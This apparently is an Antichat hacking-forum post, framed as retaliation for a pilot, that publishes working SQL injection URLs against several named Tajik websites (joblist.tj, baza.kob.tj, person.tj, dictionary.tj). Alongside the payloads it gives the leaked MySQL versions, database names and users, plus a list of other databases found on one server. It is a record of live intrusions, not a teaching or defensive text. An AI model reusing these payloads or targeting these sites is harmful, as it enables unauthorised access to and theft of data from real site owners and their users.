ANTICHAT - Показать сообщение отдельно

За Русского и Эстонского пилота. Часть 1

Site: joblist.tj

Код:

http://www.joblist.tj/showvacancy.php?id=-1478+union+Select+1,concat_ws(version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+

version: 5.0.91-community-log

database: develop_joblisttj

user: develop_ns@localhost

+ Уязвимый параметр:

Код:

/index.php?catid=11'SQL-Injection'

database found:

Код:

develop_aboutsa
develop_agromoldova
develop_apartments
develop_aport
develop_artishock
develop_blog
develop_bulgaria
develop_cbs
develop_cimul
develop_ctv
develop_decoretto
develop_developweb
develop_egypt
develop_elena
develop_joblisttj
develop_kitchen
develop_livetravelhelp
develop_moldovapiese
develop_mykupe
develop_nikitablog
develop_ritus
develop_rusnac
develop_rybak
develop_rybakforum
develop_turkey
develop_turkeys
develop_vesco
develop_worldofmoldova
develop_za (Самая интересная)

Site: baza.kob.tj

Код:

http://baza.kob.tj/?a=orgtype&id=-45+union+select+concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,2,3+--+

version: 5.0.92-community

database: kobtj_db

user: kobtj_dbuser@localhost

Site: person.tj

Код:

http://www.person.tj/index.php?id=-938+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29+--+

version: 4.1.25

database: person

user: user@localhost

Site: dictionary.tj

Код:

http://dictionary.tj/finance/index.php?id=-1012+union+select+1,concat_ws(0x3a,version(),database(),user())+--+

version: 4.1.25

database: base

user: user@localhost